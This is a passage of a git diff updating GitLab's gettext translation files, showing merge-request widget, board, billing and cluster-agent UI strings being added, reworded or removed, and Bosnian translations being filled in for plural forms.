-msgstr ""
-
msgid "manual"
msgstr ""
@@ -41577,13 +42246,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -41595,6 +42264,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -41613,9 +42285,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -41658,9 +42327,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41696,6 +42362,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41705,12 +42374,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41749,21 +42424,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41776,6 +42466,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41815,9 +42514,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41848,9 +42544,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41866,39 +42559,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -42065,6 +42749,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -42254,9 +42950,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -42281,6 +42974,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/bs_BA/gitlab.po b/locale/bs_BA/gitlab.po
index 344727ff128..8a3068eaefc 100644
--- a/locale/bs_BA/gitlab.po
+++ b/locale/bs_BA/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: bs\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:42\n"
+"PO-Revision-Date: 2021-12-06 19:00\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -23,7 +23,7 @@ msgid " (from %{timeoutSource})"
msgstr ""
msgid " Collected %{time}"
-msgstr ""
+msgstr " prikupljeno %{time}"
msgid " Please sign in."
msgstr " Prijavi se."
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -81,21 +78,21 @@ msgstr ""
msgid "%d Alert"
msgid_plural "%d Alerts"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
+msgstr[0] "%d upozorenje"
+msgstr[1] "%d upozorenja"
+msgstr[2] "%d upozorenja"
msgid "%d Alert:"
msgid_plural "%d Alerts:"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
+msgstr[0] "%d upozorenje:"
+msgstr[1] "%d upozorenja:"
+msgstr[2] "%d upozorenja:"
msgid "%d Approval"
msgid_plural "%d Approvals"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
+msgstr[0] "%d odobrenje"
+msgstr[1] "%d odobrenja"
+msgstr[2] "%d odobrenja"
msgid "%d Module"
msgid_plural "%d Modules"
@@ -111,9 +108,9 @@ msgstr[2] ""
msgid "%d Package"
msgid_plural "%d Packages"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
+msgstr[0] "%d paket"
+msgstr[1] "%d paketa"
+msgstr[2] "%d paketa"
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
@@ -129,15 +126,15 @@ msgstr[2] ""
msgid "%d approver"
msgid_plural "%d approvers"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
+msgstr[0] "%d odobravatelj"
+msgstr[1] "%d odobravatelja"
+msgstr[2] "%d odobravatelja"
msgid "%d approver (you've approved)"
msgid_plural "%d approvers (you've approved)"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
+msgstr[0] "%d odobravatelj (ti si odobrio/la)"
+msgstr[1] "%d odobravatelja (ti si odobrio/la)"
+msgstr[2] "%d odobravatelja (ti si odobrio/la)"
msgid "%d changed file"
msgid_plural "%d changed files"
@@ -183,9 +180,9 @@ msgstr[2] ""
msgid "%d commit"
msgid_plural "%d commits"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
+msgstr[0] "%d izmjena"
+msgstr[1] "%d izmjene"
+msgstr[2] "%d izmjena"
msgid "%d commit author"
msgid_plural "%d commit authors"
@@ -213,9 +210,9 @@ msgstr[2] ""
msgid "%d contribution"
msgid_plural "%d contributions"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
+msgstr[0] "%d doprinos"
+msgstr[1] "%d doprinosa"
+msgstr[2] "%d doprinosa"
msgid "%d day"
msgid_plural "%d days"
@@ -225,15 +222,15 @@ msgstr[2] "%d dana"
msgid "%d epic"
msgid_plural "%d epics"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
+msgstr[0] "%d epik"
+msgstr[1] "%d epika"
+msgstr[2] "%d epika"
msgid "%d error"
msgid_plural "%d errors"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
+msgstr[0] "%d greška"
+msgstr[1] "%d greške"
+msgstr[2] "%d grešaka"
msgid "%d error found:"
msgid_plural "%d errors found:"
@@ -261,9 +258,9 @@ msgstr[2] ""
msgid "%d file"
msgid_plural "%d files"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
+msgstr[0] "%d fajl"
+msgstr[1] "%d fajla"
+msgstr[2] "%d fajlova"
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
@@ -271,12 +268,18 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "%d group"
-msgid_plural "%d groups"
+msgid "%d fork"
+msgid_plural "%d forks"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d group"
+msgid_plural "%d groups"
+msgstr[0] "%d grupa"
+msgstr[1] "%d grupe"
+msgstr[2] "%d grupa"
+
msgid "%d group selected"
msgid_plural "%d groups selected"
msgstr[0] "%d grupa odabrana"
@@ -285,9 +288,9 @@ msgstr[2] "%d grupa odabrano"
msgid "%d hour"
msgid_plural "%d hours"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
+msgstr[0] "%d sat"
+msgstr[1] "%d sata"
+msgstr[2] "%d sati"
msgid "%d inaccessible merge request"
msgid_plural "%d inaccessible merge requests"
@@ -303,9 +306,9 @@ msgstr[2] "%d zadataka"
msgid "%d issue in this group"
msgid_plural "%d issues in this group"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
+msgstr[0] "%d zadatak u ovoj grupi"
+msgstr[1] "%d zadatka u ovoj grupi"
+msgstr[2] "%d zadataka u ovoj grupi"
msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
@@ -331,6 +334,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -409,6 +418,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -472,6 +487,12 @@ msgstr[2] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -553,6 +574,12 @@ msgstr[2] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -778,7 +805,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -832,6 +859,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -865,9 +895,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr "%{openedEpics} otvoreno, %{closedEpics} zatvoreno"
@@ -892,6 +919,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -925,6 +955,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -973,9 +1006,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -1081,6 +1111,9 @@ msgstr "%{total} težina otvorenih zadataka"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1213,6 +1246,12 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "(this user)"
msgstr ""
@@ -1222,6 +1261,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1261,6 +1303,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr " ili "
@@ -1591,9 +1636,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1630,9 +1672,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1681,9 +1720,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1819,9 +1855,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -2068,12 +2101,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2116,6 +2155,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2158,9 +2203,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2230,6 +2272,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2275,9 +2320,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr "Zadatak dodan epiku."
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2320,7 +2362,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2329,7 +2371,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr "Dodaje zadatak epiku."
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2425,6 +2467,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2491,7 +2536,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -3028,19 +3073,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3631,9 +3685,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3661,6 +3712,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3820,6 +3874,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -4003,6 +4060,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -4042,6 +4102,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -4084,9 +4147,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -4099,9 +4159,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4159,6 +4216,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4168,6 +4228,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4585,6 +4648,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4789,6 +4855,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr "Zaduži sebi ove zadatke"
@@ -4888,6 +4957,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5536,6 +5608,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5614,6 +5689,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5623,12 +5701,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5641,6 +5728,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5734,6 +5824,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5746,6 +5839,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -6037,10 +6133,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -6049,6 +6148,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6295,6 +6397,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6589,10 +6694,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6643,9 +6748,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6658,6 +6760,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6721,10 +6826,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6787,6 +6892,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6802,9 +6910,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -7003,9 +7108,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7303,6 +7405,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7345,6 +7450,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7387,12 +7495,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7414,16 +7516,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7435,9 +7552,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
